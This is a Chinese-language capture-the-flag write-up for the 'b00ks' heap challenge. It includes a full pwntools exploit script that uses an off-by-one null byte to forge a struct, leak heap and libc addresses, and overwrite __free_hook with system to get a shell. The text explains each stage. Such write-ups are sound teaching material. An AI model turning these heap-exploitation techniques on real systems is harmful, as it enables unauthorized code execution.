环境:ub16.04 x64 glibc2.23
菜单题,先看下保护:
1 2 3 4 5 6
| gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : ENABLED RELRO : FULL
|
要先泄露偏移;不能覆写got表
PAYLOAD
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111
| from pwn import * from LibcSearcher import * import subprocess
s = lambda data: sh.send(data) sa = lambda delim, data: sh.sendafter(delim, data) sl = lambda data: sh.sendline(data) sla = lambda delim, data: sh.sendlineafter(delim, data) sea = lambda delim, data: sh.sendafter(delim, data) r = lambda numb=4096: sh.recv(numb) ru = lambda delims, drop=True: sh.recvuntil(delims, drop) info_addr = lambda tag, addr: sh.info(tag + ': {:#x}'.format(addr)) itr = lambda: sh.interactive() debug = lambda command='': gdb.attach(sh, command)
context(arch='amd64', os='linux', log_level="debug")
def one_gadget(filename): return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
# one_gadget('/lib/x86_64-linux-gnu/libc.so.6') #libc=LibcSearcher('puts',puts sh = process(['b00ks'] , env={"LD_PRELOAD": "libc.so.6"}) #sh=remote('node3.buuoj.cn',26176) elf=ELF('b00ks') libc=ELF('libc.so.6')
def create(booksize,bookde): sl(b'1') r(0x17) sl(b'32') ru(': ') sl(b'a'*20) ru(':') sl(booksize) ru(':') sl(bookde) ru('>') sleep(1)
def change(name): sl(b'5') ru(':') sl(bytes(name)) ru('>')
def printde(stopl): sl(b'4') assert isinstance(stopl, bytes) print(stopl) ru(stopl)
a=r(6) return a
def edit(ind,des): sl(b'3') ru(':') sl(ind) ru(':') sl(des) ru('>')
#gdb.attach(sh) r() sl(b'a'*32) r(0x6f) change(b'baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') create(b'250',b'testtest')
addr=printde(b'baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') b1addr=u64(addr.ljust(8,b'\x00')) #struct pointer
b2addr=b1addr+0x60 print(hex(b2addr))#leak the struct r() create(b'135168',b'1')#0x21000 chunk1=b'b'*0xb0+p64(1)+p64(b2addr+16)+p64(b2addr+8)+p64(0xdead) edit(b'1',chunk1)#change ptr change(b'baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')#offby1 mm=printde(b'me: ') mmap=u64(mm.ljust(8, b'\x00')) print(hex(mmap)) ru(b'>')
libc_base=mmap-(0x7f95418aa010-0x00007f95412fb000) #debug vmmap-libc_base 0x5ca010 (0x7f95418aa010-0x00007f95412fb000) print(hex(libc_base))
freehook=libc.symbols['__free_hook']+libc_base system=libc.symbols['system']+libc_base+0x10 binsh=0x18cd57-(0x18cc98-0x18cd58)+libc_base print('free'+hex(freehook)) print(hex(binsh)) print(hex(system))
chunk2=p64(binsh)+p64(freehook) edit(b'1',chunk2) # change ptr chunk3=p64(system) edit(b'2',chunk3) r()
sl(b'2') ru(b': ') sl(b'2') #gdb.attach(sh) #pause() itr()
|
功能分析:
init
读取author_name,存放在全局变量区
create
创建一个结构体:{bookorder(DWORD);bookptr(QWORD);description(QWORD);descriptionsize(DWORD)}
从id=1开始赋值
最后指针都free了,没法uaf
delete
删除对应id的结构体,判断条件没越界(1-20)
会free最小id不正常结构体的所有指针
edit
编辑结构体的description,以’\n’结束输入
bookread
输出bookid,bookname,description,author.
使用printf输出,带参数,无法fmtstr.遇’\x00’结束.
cinname
重新输入author_name,在输入a位后,第a+1位赋值为0.a最大为32,有off by one.
结合bookread的遇’\x00’读可以尝试越界读
遇到’\n’结束输入
漏洞利用
先从已知的非法访问开始:
实现越界读
先写32位用户名,然后创建第一个bookstruct
1 2 3 4 5 6 7 8 9
| r() sl(b'a'*32) r(0x6f) change(b'baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') create(b'250',b'testtest')
addr=printde(b'baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') b1addr=u64(addr.ljust(8,b'\x00')) print(hex(b1addr))
|
发现泄露值正是该bookstruct的结构体的description_ptr.

由于是小端序存储,那么我们在这个指针上覆盖一位0,就可以改变指针指向到低位的地址,而desptr正好指向这个结构体指针的低位,我们布置一下description,就可以伪造出一个新堆.
泄露libc
继续申请第二个堆,它的结构体指针就在第一个结构体指针体下方,调试出偏移,申请一个description大于0x21000的堆,此时vmmap和libc受pie相同影响,相对值恒定.伪造出如下结构的堆:
1 2 3 4 5 6
| bbbbbbbbb...... ----------------------- |p64(1) | struct2+16 | ------------------------ |struct2+8| 0xdead | ------------------------
|
p64(1)的地址最后一位为’00’
此时调用change,printde,即可打印出struct2+16
指针所指向的值.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| b2addr=b1addr+0x60 print(hex(b2addr)) r() create(b'135168',b'1') chunk1=b'b'*0xb0+p64(1)+p64(b2addr+16)+p64(b2addr+8)+p64(0xdead) edit(b'1',chunk1) change(b'baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') mm=printde(b'me: ') mmap=u64(mm.ljust(8, b'\x00')) print(hex(mmap)) ru(b'>')
libc_base=mmap-(0x7f95418aa010-0x00007f95412fb000) print(hex(libc_base))
|
调试算出偏移,即可泄露libc
任意写
通过edit修改book1,修改的是book2的description指针,然后再修改book2的description指针,修改的是description指针的值.
利用泄露的libc获得__free_hook
和system
,'/bin/sh'
地址.将system
地址写入__free_hook
.'/bin/sh'
写入book2的name指针,这样delete book2后get shell了